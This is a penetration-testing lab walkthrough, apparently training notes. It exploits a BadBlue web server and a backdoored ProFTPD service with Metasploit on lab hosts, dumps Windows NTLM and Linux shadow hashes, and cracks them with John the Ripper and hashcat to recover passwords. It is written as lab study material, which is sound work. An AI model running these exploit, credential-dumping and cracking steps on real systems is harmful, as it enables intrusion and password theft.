🔬Cracking Hashes

Lab 1 - Windows

🔬 Windows: NTLM Hash Cracking
Target IP: 10.2.24.37
NTLM Hashes dumping and cracking

Enumeration & Exploitation

nmap -sV -p 80 10.2.24.37

80/tcp open  http BadBlue httpd 2.7

service postgresql start && msfconsole -q

search badblue
use exploit/windows/http/badblue_passthru
options
setg RHOSTS 10.2.24.37
run

sysinfo
    Computer        : WIN-OMCNBKR66MN
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows
getuid
	Server username: WIN-OMCNBKR66MN\Administrator
get privs
    Enabled Process Privileges
    ==========================
    Name
    ----
    SeBackupPrivilege
    SeChangeNotifyPrivilege
    SeCreateGlobalPrivilege
    SeCreatePagefilePrivilege
    SeCreateSymbolicLinkPrivilege
    SeDebugPrivilege
    SeImpersonatePrivilege
    SeIncreaseBasePriorityPrivilege
    SeIncreaseQuotaPrivilege
    SeIncreaseWorkingSetPrivilege
    SeLoadDriverPrivilege
    SeManageVolumePrivilege
    SeProfileSingleProcessPrivilege
    SeRemoteShutdownPrivilege
    SeRestorePrivilege
    SeSecurityPrivilege
    SeShutdownPrivilege
    SeSystemEnvironmentPrivilege
    SeSystemProfilePrivilege
    SeSystemtimePrivilege
    SeTakeOwnershipPrivilege
    SeTimeZonePrivilege
    SeUndockPrivilege

With the Administrator Meterpreter session, privilege escalation is not necessary.
Migrate to the lsass process

pgrep lsass
migrate 688
# Meterpreter session is x64 and more stable now

Dumping Hashes

❗ In order to set up persistence, administrative privileges are required.

hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
bob:1009:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Open a new tab and create a .txt file with the dumped hashes. Paste the Administrator and bob hashes

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
bob:1009:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::

Cracking Hashes

Metasploit auxiliary/analyze/crack_windows module can be used to brute-force the hashes.

JohnTheRipper

In this case John The Ripper will be used as an example

john - Open Source password security auditing and password recovery tool available for many operating systems

john --list=formats | grep NT
	netntlm, netntlm-naive, net-sha1, nk, notes, md5ns, nsec3, NT, o10glogon

john --format=NT hashes.txt
# It will use the default wordlist

Use the rockyou.txt wordlist instead

gzip -d /usr/share/wordlists/rockyou.txt.gz
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Hashcat

hashcat - Open Source advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms

Crack NTLM hashes with hashcat brute-force

hashcat -a 3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt 

hashcat -a 3 -m 1000 --show hashes.txt /usr/share/wordlists/rockyou.txt 
    8846f7eaee8fb117ad06bdd830b7586c:password
    5835048ce94ad0564e29a924a03510ef:password1

Try RDP login

xfreerdp /u:Administrator /p:password /v:10.2.24.37

Reveal Flag - Administrator's Password is: 🚩

password

Reveal Flag - bob's Password is: 🚩

password1

Lab 2 - Linux

🔬 Password Cracker: Linux
Target IP: 192.22.107.3
Password Hashes dumping and cracking
Same lab as the 🔬Hashes Dumping lab

Enumeration & Exploitation

ip -br -c a
	192.22.107.2/24

nmap -sV 192.22.107.3

21/tcp open  ftp  ProFTPD 1.3.3c

service postgresql start && msfconsole -q

setg RHOSTS 192.22.107.3
search proftpd
use exploit/unix/ftp/proftpd_133c_backdoor
exploit

/bin/bash -i

Dumping Hashes

cat /etc/shadow

📌 root:$6$sgewtGbw$ihhoUYASuXTh7Dmw0adpC7a3fBGkf9hkOQCffBQRMIF8/0w6g/Mh4jMWJ0yEFiZyqVQhZ4.vuS8XOyq.hLQBb.
$6 = the hashing algorithm is SHA-512

An MSF module can be used for hash dumping

# CTRL+Z to background the session
sessions -u 1
session 2

use post/linux/gather/hashdump
set SESSION 2
run

cat /root/.msf4/loot/20230429153134_default_192.22.107.3_linux.hashes_083080.txt
	root:$6$sgewtGbw$ihhoUYASuXTh7Dmw0adpC7a3fBGkf9hkOQCffBQRMIF8/0w6g/Mh4jMWJ0yEFiZyqVQhZ4.vuS8XOyq.hLQBb.:0:0:root:/root:/bin/bash

Exit MSFconsole

Cracking Hashes

Metasploit auxiliary/analyze/crack_linux module can be used to brute-force the hashes. Check the technique in the same 🔬lab environment.

JohnTheRipper

In this case John The Ripper will be used as an example

gzip -d /usr/share/wordlists/rockyou.txt.gz

john --format=sha512crypt /root/.msf4/loot/20230429153134_default_192.22.107.3_linux.hashes_083080.txt --wordlist=/usr/share/wordlists/rockyou.txt

Hashcat

hashcat --help | grep 1800
	1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems

hashcat -a 3 -m 1800 /root/.msf4/loot/20230429153134_default_192.22.107.3_linux.hashes_083080.txt /usr/share/wordlists/rockyou.txt

Reveal Flag - "root" user's password is: 🚩

password

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Last updated 2 years ago

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